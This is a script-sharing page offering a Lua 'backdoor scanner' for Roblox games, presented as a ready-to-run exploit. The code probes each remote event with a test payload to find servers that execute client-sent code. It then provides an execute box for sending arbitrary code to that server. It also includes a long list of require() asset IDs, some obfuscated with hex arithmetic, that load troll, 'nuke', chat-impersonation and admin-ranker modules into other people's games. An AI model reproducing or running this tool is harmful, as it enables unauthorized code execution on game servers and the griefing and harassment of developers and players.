IGA HUB best Backdoor scanner
Key RequiredUniversal

IGA HUB best Backdoor scanner

Universal ScriptC00LIGA93_skidC00LIGA93_skid 1.2K views 72 executesUpdated Jan 6, 2026
5.0/ 5(1 votes)
10100% Positive
Lua Script•504 lines (19145 chars)
-- IGA Hub ULTRA COMPLETO 2026 - VERSÃO FINAL COM TODOS OS REQUIRES ADICIONADOS!
-- Scanner funcional + TextBox visível + Expansão ao encontrar backdoor + R6 perfeito + Script Hub gigante com pesquisa

local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local RunService = game:GetService("RunService")
local Workspace = game:GetService("Workspace")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Lighting = game:GetService("Lighting")
local JointsService = game:GetService("JointsService")
local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage")

local player = Players.LocalPlayer
local playerName = player.Name
local playerGui = player:WaitForChild("PlayerGui")

-- ScreenGui
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "IGA_Hub_Ultra"
screenGui.ResetOnSpawn = false
screenGui.Parent = playerGui

-- Frame principal (600px largo + mais para cima)
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 600, 0, 280)
mainFrame.Position = UDim2.new(0.5, -300, 0.5, -320)
mainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = screenGui

local mainCorner = Instance.new("UICorner")
mainCorner.CornerRadius = UDim.new(0, 16)
mainCorner.Parent = mainFrame

local mainStroke = Instance.new("UIStroke")
mainStroke.Color = Color3.fromRGB(100, 200, 255)
mainStroke.Thickness = 2
mainStroke.Parent = mainFrame

-- Título
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 40)
title.BackgroundTransparency = 1
title.Text = "🔍 IGA Hub Backdoor Scanner"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextScaled = true
title.Font = Enum.Font.GothamBold
title.Parent = mainFrame

-- Status
local statusLabel = Instance.new("TextLabel")
statusLabel.Size = UDim2.new(1, -20, 0, 30)
statusLabel.Position = UDim2.new(0, 10, 0, 45)
statusLabel.BackgroundTransparency = 1
statusLabel.Text = "Clique em SCAN para procurar backdoor..."
statusLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
statusLabel.TextScaled = true
statusLabel.TextXAlignment = Enum.TextXAlignment.Left
statusLabel.Parent = mainFrame

-- Botão Scan
local scanButton = Instance.new("TextButton")
scanButton.Size = UDim2.new(0.9, 0, 0, 50)
scanButton.Position = UDim2.new(0.05, 0, 0, 85)
scanButton.BackgroundColor3 = Color3.fromRGB(0, 162, 255)
scanButton.Text = "SCAN"
scanButton.TextColor3 = Color3.new(1, 1, 1)
scanButton.TextScaled = true
scanButton.Font = Enum.Font.GothamBold
scanButton.Parent = mainFrame

local scanCorner = Instance.new("UICorner")
scanCorner.CornerRadius = UDim.new(0, 12)
scanCorner.Parent = scanButton

-- TextBox Executor (visível desde o início)
local codeBox = Instance.new("TextBox")
codeBox.Size = UDim2.new(0.94, 0, 0, 100)
codeBox.Position = UDim2.new(0.03, 0, 0, 140)
codeBox.BackgroundColor3 = Color3.fromRGB(15, 15, 25)
codeBox.Text = "-- Cole seu script aqui (aguarde o backdoor para executar)"
codeBox.TextColor3 = Color3.new(1, 1, 1)
codeBox.TextScaled = true
codeBox.MultiLine = true
codeBox.ClearTextOnFocus = false
codeBox.Font = Enum.Font.Code
codeBox.Parent = mainFrame

local boxCorner = Instance.new("UICorner")
boxCorner.CornerRadius = UDim.new(0, 10)
boxCorner.Parent = codeBox

-- Botões inferiores
local exeButton = Instance.new("TextButton")
exeButton.Size = UDim2.new(0.22, -10, 0, 45)
exeButton.Position = UDim2.new(0.04, 0, 1, -55)
exeButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0)
exeButton.Text = "EXE"
exeButton.Visible = false
exeButton.Parent = mainFrame

local clearButton = Instance.new("TextButton")
clearButton.Size = UDim2.new(0.22, -10, 0, 45)
clearButton.Position = UDim2.new(0.28, 0, 1, -55)
clearButton.BackgroundColor3 = Color3.fromRGB(180, 0, 0)
clearButton.Text = "CLEAR"
clearButton.Visible = false
clearButton.Parent = mainFrame

local scriptHubButton = Instance.new("TextButton")
scriptHubButton.Size = UDim2.new(0.22, -10, 0, 45)
scriptHubButton.Position = UDim2.new(0.52, 0, 1, -55)
scriptHubButton.BackgroundColor3 = Color3.fromRGB(255, 140, 0)
scriptHubButton.Text = "SCRIPT HUB"
scriptHubButton.Visible = false
scriptHubButton.Parent = mainFrame

local r6Button = Instance.new("TextButton")
r6Button.Size = UDim2.new(0.22, -10, 0, 45)
r6Button.Position = UDim2.new(0.76, 0, 1, -55)
r6Button.BackgroundColor3 = Color3.fromRGB(180, 50, 255)
r6Button.Text = "R6"
r6Button.Visible = false
r6Button.Parent = mainFrame

for _, btn in {exeButton, clearButton, scriptHubButton, r6Button} do
    Instance.new("UICorner", btn).CornerRadius = UDim.new(0, 10)
end

-- Script Hub
local scriptHubFrame = Instance.new("Frame")
scriptHubFrame.Size = UDim2.new(0, 600, 0, 650)
scriptHubFrame.Position = UDim2.new(0.5, -300, 0.5, 100)
scriptHubFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 30)
scriptHubFrame.Active = true
scriptHubFrame.Draggable = true
scriptHubFrame.Visible = false
scriptHubFrame.Parent = screenGui

local hubCorner = Instance.new("UICorner")
hubCorner.CornerRadius = UDim.new(0, 16)
hubCorner.Parent = scriptHubFrame

local hubStroke = Instance.new("UIStroke")
hubStroke.Color = Color3.fromRGB(255, 140, 0)
hubStroke.Thickness = 2
hubStroke.Parent = scriptHubFrame

local hubTitle = Instance.new("TextLabel")
hubTitle.Size = UDim2.new(1, 0, 0, 40)
hubTitle.BackgroundTransparency = 1
hubTitle.Text = "📜 IGA ULTRA Script Hub 2026"
hubTitle.TextColor3 = Color3.fromRGB(255, 200, 100)
hubTitle.TextScaled = true
hubTitle.Font = Enum.Font.GothamBold
hubTitle.Parent = scriptHubFrame

-- Barra de pesquisa
local searchBox = Instance.new("TextBox")
searchBox.Size = UDim2.new(1, -20, 0, 40)
searchBox.Position = UDim2.new(0, 10, 0, 45)
searchBox.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
searchBox.PlaceholderText = "Pesquise um script ou mapa..."
searchBox.Text = ""
searchBox.TextColor3 = Color3.new(1, 1, 1)
searchBox.TextScaled = true
searchBox.Font = Enum.Font.Gotham
searchBox.Parent = scriptHubFrame

local searchCorner = Instance.new("UICorner")
searchCorner.CornerRadius = UDim.new(0, 10)
searchCorner.Parent = searchBox

-- ScrollingFrame
local scrollingFrame = Instance.new("ScrollingFrame")
scrollingFrame.Size = UDim2.new(1, -10, 1, -95)
scrollingFrame.Position = UDim2.new(0, 5, 0, 90)
scrollingFrame.BackgroundTransparency = 1
scrollingFrame.ScrollBarThickness = 8
scrollingFrame.Parent = scriptHubFrame

local listLayout = Instance.new("UIListLayout")
listLayout.Padding = UDim.new(0, 6)
listLayout.Parent = scrollingFrame

-- LISTA GIGANTE DE SCRIPTS (todos os anteriores + os novos que você pediu)
local scriptList = {
    -- REQUIRES ORIGINAIS
    {name = "EARRAPE", code = 'require(5802346180).eliza("'..playerName..'")'},
    {name = "Grande Senhor", code = 'require(7260532691)("'..playerName..'")'},
    {name = "LOLOLOLOL", code = 'require(5802335492).eliza("'..playerName..'")'},
    {name = "NUKE GUI", code = 'require(4832967293):Fire("'..playerName..'")'},
    {name = "TOPKEK V5", code = 'require(5610305900)("'..playerName..'")'},
    {name = "TOPKEK V4", code = 'require(4874364435)("'..playerName..'")'},
    {name = "NOOT NOOT", code = 'require(5034863407).subtosyntax64("'..playerName..'")'},
    {name = "Spongebob Destroyer", code = 'require(5115793531).scare("'..playerName..'")'},
    {name = "CHATHAX", code = 'require(5564800243).fehax("'..playerName..'")'},
    {name = "CHAT IMPOSTOR", code = 'require(5903403087).load("'..playerName..'")'},
    {name = "Neurótico", code = 'require(5617600468).load("'..playerName..'")'},
    {name = "ULTRA NOOB SPAMMER", code = 'require(5193737424)("'..playerName..'",true)'},
    {name = "MAPA ALEATÓRIO", code = 'require(1192815372).load"'..playerName..'"'},
    {name = "OMEGA FLOWEY", code = 'require(5621190626).OmegaFlower("'..playerName..'")'},
    {name = "Chara Boss", code = 'require(4106669917).load("'..playerName..'")'},
    {name = "Lança-chamas Pyro", code = 'require(4483948796).load("'..playerName..'")'},
    {name = "RODA ROLLA DA", code = 'require(4581300009).xd("'..playerName..'")'},
    {name = "CATGIRL TROLL", code = 'require(4564681456).catgirl("'..playerName..'")'},
    {name = "Roz Hub", code = 'require(5702333343).load("'..playerName..'")'},

    -- MAP REQUIRES
    {name = "[MAP] Redwood Prison", code = 'require(3161149042).redwood()'},
    {name = "[MAP] CS:GO Office", code = 'require(3155301605).loadmap()'},
    {name = "[MAP] Backrooms Yellow", code = 'require(9402960863):LoadMap(true)'},
    {name = "[MAP] The Guest House Horror", code = 'require(4063168815).loadmap()'},
    {name = "[MAP] Baldi's School", code = 'require(6058180303).school()'},
    {name = "[MAP] Generic School", code = 'require(7737379602).map()'},
    {name = "[MAP] Random Map", code = 'require(1192815372).load("'..playerName..'")'},
    {name = "[MAP] Tubers93 Allahu", code = 'require(3400876685).lol("'..playerName..'")'},
    {name = "[MAP] McDonalds", code = 'require(107814387426166).Mcdonalds()'},
    {name = "[MAP] FNAF 1", code = 'require(12070820190).fnaf1()'},
    {name = "[MAP] Raise A Floppa", code = 'require(10030357005).map()'},
    {name = "[MAP] Mountain House", code = 'require(7993365051).CLoad()'},
    {name = "SCP-096 (Character)", code = 'require(5972874843).load("'..playerName..'")'},
    {name = "Sans", code = 'require(4952709475).load("'..playerName..'")'},
    {name = "Guest 666", code = 'require(5984643716).load("'..playerName..'")'},

    -- NOVOS REQUIRES ADICIONADOS
    {name = "f00plkidd v5", code = 'require(0x3ba12f9f1).PLSPLS("'..playerName..'")'},
    {name = "l0ckkidd v5", code = 'require(14921175600).zzzzzzzzzzzzz55555555555555555555("'..playerName..'")'},
    {name = "144anz hub", code = 'require(0x25b56b8f7+-0x6a72c6b3d+0x812296b09):SHHH144anzHUB("'..playerName..'")'},
    {name = "ITSNOTSKELETON V11", code = 'require(17161655683).SkibidiToilet("'..playerName..'")'},
    {name = "144anz SS", code = 'require(0x7435b09c4+0x38501a58+0x5a59*-0xa0396):opss144anz("'..playerName..'")'},
    {name = "Elmarz gui v3", code = 'require(14723857690).load("'..playerName..'")'},
    {name = "HOP1K", code = 'require(14741436840).gui("'..playerName..'")'},
    {name = "real snake banisher", code = 'require(7116428237).SBV4("'..playerName..'")'},
    {name = "Fumo script executor", code = 'require(6324372525).fse("'..playerName..'")'},
    {name = "SGH 3 gui thingy", code = 'require(7646868348):XD("'..playerName..'")'},
    {name = "c00lgui v3 edit", code = 'require(12796454422).lek("'..playerName..'")'},
    {name = "k00p coffe map thing", code = 'require(9821168174)("'..playerName..'")'},
    {name = "m00pkidd gui", code = 'require(17340805099).ez("'..playerName..'")'},
    {name = "Topkek gui", code = 'require(2609384717).load("'..playerName..'")'},
    {name = "hack script", code = 'require(5672829911).hack("'..playerName..'")'},
    {name = "PilinGui pocket", code = 'require(17802705815).phone("'..playerName..'")'},
    {name = "original PilinGui", code = 'require(17804242139).lol("'..playerName..'")'},
    {name = "kfc map", code = 'require(12573742929)("'..playerName..'")'},
    {name = "HD admin ranker", code = 'require(7192763922).load("'..playerName..'")'},
    {name = "k00pgui v101", code = 'require(16965767706):load("'..playerName..'")'},
    {name = "k00pgui v5", code = 'require(16213431127).k00perz("")'},
    {name = "horror gui v1", code = 'require(18305545828).evil("'..playerName..'")'},
    {name = "Space Elevator Map Gui", code = 'require(5702244094).space("'..playerName..'")'},
    {name = "Gentalmans GUi", code = 'require(8937504521).dsadsdasd8du8sau8saud8adu8du8asd8as8d8ns9dash8s6ad8h9uash9ud8as8d98as89dsah98d8hsh8usah9d88asd98uhash9ud89s8uhasd98hsah98udsa989asd98huash9u8das9d89huasd8u9hsa8h9udashh8ashd8u9ashud8sah8d8hu9asd8hu9as8h9udash9d8as8d8hu9sa8hud9as9u8d8h9usdhu89s8h9da8h9dadh8ad89a98dsa("'..playerName..'")'},
    {name = "Mexia Supermarket", code = 'require(82277034844336).mexia()'},
    {name = "INF yield", code = 'require(9475168852)("'..playerName..'")'},
}

local buttons = {}

for _, scriptData in ipairs(scriptList) do
    local btn = Instance.new("TextButton")
    btn.Size = UDim2.new(1, -10, 0, 40)
    btn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
    btn.Text = scriptData.name
    btn.TextColor3 = Color3.new(1, 1, 1)
    btn.TextScaled = true
    btn.Font = Enum.Font.Gotham
    btn.Parent = scrollingFrame

    local btnCorner = Instance.new("UICorner")
    btnCorner.CornerRadius = UDim.new(0, 8)
    btnCorner.Parent = btn

    btn.MouseButton1Click:Connect(function()
        codeBox.Text = scriptData.code
        scriptHubFrame.Visible = false
    end)

    table.insert(buttons, btn)
end

searchBox.FocusLost:Connect(function(enter)
    if enter then
        local text = searchBox.Text:lower()
        for _, btn in ipairs(buttons) do
            btn.Visible = text == "" or btn.Text:lower():find(text)
        end
    end
end)

listLayout.Changed:Connect(function()
    scrollingFrame.CanvasSize = UDim2.new(0, 0, 0, listLayout.AbsoluteContentSize.Y + 20)
end)

-- Função de expansão ao encontrar backdoor
local function expandAfterFound()
    statusLabel.Visible = false
    scanButton.Visible = false

    TweenService:Create(codeBox, TweenInfo.new(0.5, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {
        Size = UDim2.new(0.94, 0, 0, 180),
        Position = UDim2.new(0.03, 0, 0, 50)
    }):Play()

    exeButton.Visible = true
    clearButton.Visible = true
    scriptHubButton.Visible = true
    r6Button.Visible = true
end

-- R6 Perfeito
local function forceLocalR6()
    local character = player.Character or player.CharacterAdded:Wait()
    local humanoid = character:WaitForChild("Humanoid")

    local oldDesc = humanoid:GetAppliedDescription()

    humanoid.RigType = Enum.HumanoidRigType.R6

    local r6Desc = Instance.new("HumanoidDescription")
    r6Desc.HeightScale = 1
    r6Desc.HeadScale = 1
    r6Desc.DepthScale = 1
    r6Desc.WidthScale = 1
    r6Desc.ProportionScale = 0
    r6Desc.BodyTypeScale = 0

    r6Desc.Shirt = oldDesc.Shirt
    r6Desc.Pants = oldDesc.Pants
    r6Desc.GraphicTShirt = oldDesc.GraphicTShirt
    r6Desc.Face = oldDesc.Face
    r6Desc.HeadColor = oldDesc.HeadColor
    r6Desc.TorsoColor = oldDesc.TorsoColor
    r6Desc.LeftArmColor = oldDesc.LeftArmColor
    r6Desc.RightArmColor = oldDesc.RightArmColor
    r6Desc.LeftLegColor = oldDesc.LeftLegColor
    r6Desc.RightLegColor = oldDesc.RightLegColor

    for _, acc in pairs(oldDesc:GetAccessories()) do
        table.insert(r6Desc.Accessories, acc)
    end

    humanoid:ApplyDescription(r6Desc)

    local root = character:FindFirstChild("HumanoidRootPart")
    if root then
        local cf = root.CFrame
        root.CFrame = CFrame.new(0, 1000, 0)
        task.wait(0.1)
        root.CFrame = cf
    end
end

r6Button.MouseButton1Click:Connect(function()
    spawn(forceLocalR6)
end)

-- Scanner FUNCIONAL
local backdoorRemote = nil

local function validRemote(r)
    if not (r:IsA("RemoteEvent") or r:IsA("RemoteFunction")) then return false end
    if r.Parent == JointsService or r:IsDescendantOf(RobloxReplicatedStorage) then return false end
    if r.Name:find("__") then return false end
    return true
end

local function testRemote(r)
    local uniqueName = "IGA_TEST_" .. math.random(1000000, 9999999)
    local uniqueValue = tostring(math.random(100000, 999999))
    local payload = [[
        local marker = Instance.new("StringValue")
        marker.Name = "]] .. uniqueName .. [["
        marker.Value = "]] .. uniqueValue .. [["
        marker.Parent = game:GetService("Workspace")
    ]]

    pcall(function()
        if r:IsA("RemoteEvent") then
            r:FireServer(payload)
        else
            r:InvokeServer(payload)
        end
    end)

    for i = 1, 40 do
        RunService.Heartbeat:Wait()
        local marker = Workspace:FindFirstChild(uniqueName)
        if marker and marker.Value == uniqueValue then
            marker:Destroy()
            return true
        end
    end
    return false
end

local function scanBackdoor()
    backdoorRemote = nil
    local containers = {ReplicatedStorage, Workspace, Lighting, game}

    for _, container in ipairs(containers) do
        for _, obj in ipairs(container:GetDescendants()) do
            if validRemote(obj) and testRemote(obj) then
                backdoorRemote = obj
                return true
            end
        end
    end
    return false
end

local function onBackdoorFound()
    local notif = Instance.new("Frame")
    notif.Size = UDim2.new(0, 300, 0, 100)
    notif.Position = UDim2.new(0.5, -150, 0.5, -50)
    notif.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
    notif.ZIndex = 10
    notif.Parent = screenGui

    local nc = Instance.new("UICorner")
    nc.CornerRadius = UDim.new(0, 16)
    nc.Parent = notif

    local nt = Instance.new("TextLabel")
    nt.Size = UDim2.new(1,0,1,0)
    nt.BackgroundTransparency = 1
    nt.Text = "Found"
    nt.TextColor3 = Color3.new(1,1,1)
    nt.TextScaled = true
    nt.Font = Enum.Font.GothamBlack
    nt.Parent = notif

    task.delay(4, function() notif:Destroy() end)

    local hintCode = [[
        local h = Instance.new("Hint")
        h.Text = "IGA Hub Backdoor scanner BY Team I-G-A"
        h.Parent = workspace
        task.wait(8)
        h:Destroy()
    ]]

    pcall(function()
        if backdoorRemote:IsA("RemoteEvent") then
            backdoorRemote:FireServer(hintCode)
        else
            backdoorRemote:InvokeServer(hintCode)
        end
    end)
end

-- Evento SCAN
scanButton.MouseButton1Click:Connect(function()
    scanButton.Text = "SCANNING..."
    statusLabel.Text = "Procurando backdoor... Aguarde até 15s"

    local found = scanBackdoor()

    if found then
        onBackdoorFound()
        expandAfterFound()
    else
        statusLabel.Text = "Nenhum backdoor encontrado neste jogo."
        statusLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
        scanButton.Text = "CLEAN"
    end

    task.wait(2)
    if not found then scanButton.Text = "SCAN" end
end)

exeButton.MouseButton1Click:Connect(function()
    if not backdoorRemote or codeBox.Text == "" or codeBox.Text == "-- Cole seu script aqui" then return end

    pcall(function()
        if backdoorRemote:IsA("RemoteEvent") then
            backdoorRemote:FireServer(codeBox.Text)
        else
            backdoorRemote:InvokeServer(codeBox.Text)
        end
    end)

    exeButton.Text = "EXECUTED!"
    task.wait(1)
    exeButton.Text = "EXE"
end)

clearButton.MouseButton1Click:Connect(function()
    codeBox.Text = ""
    clearButton.Text = "CLEARED!"
    task.wait(1)
    clearButton.Text = "CLEAR"
end)

scriptHubButton.MouseButton1Click:Connect(function()
    scriptHubFrame.Visible = not scriptHubFrame.Visible
end)

-- Animação de abertura
mainFrame.Visible = true
mainFrame.Size = UDim2.new(0, 0, 0, 0)
TweenService:Create(mainFrame, TweenInfo.new(0.6, Enum.EasingStyle.Back, Enum.EasingDirection.Out), 
    {Size = UDim2.new(0, 600, 0, 280)}):Play()

print("IGA Hub ULTRA 2026 carregado! Todos os novos requires adicionados com sucesso! BY Team I-G-A 🔥")

Features & Information

IGA BACKDOOR SCANNER

Community Comments (2)

asilvio84asilvio84Jan 9, 2026

muito bom!

good!

More Scripts for Universal Scripts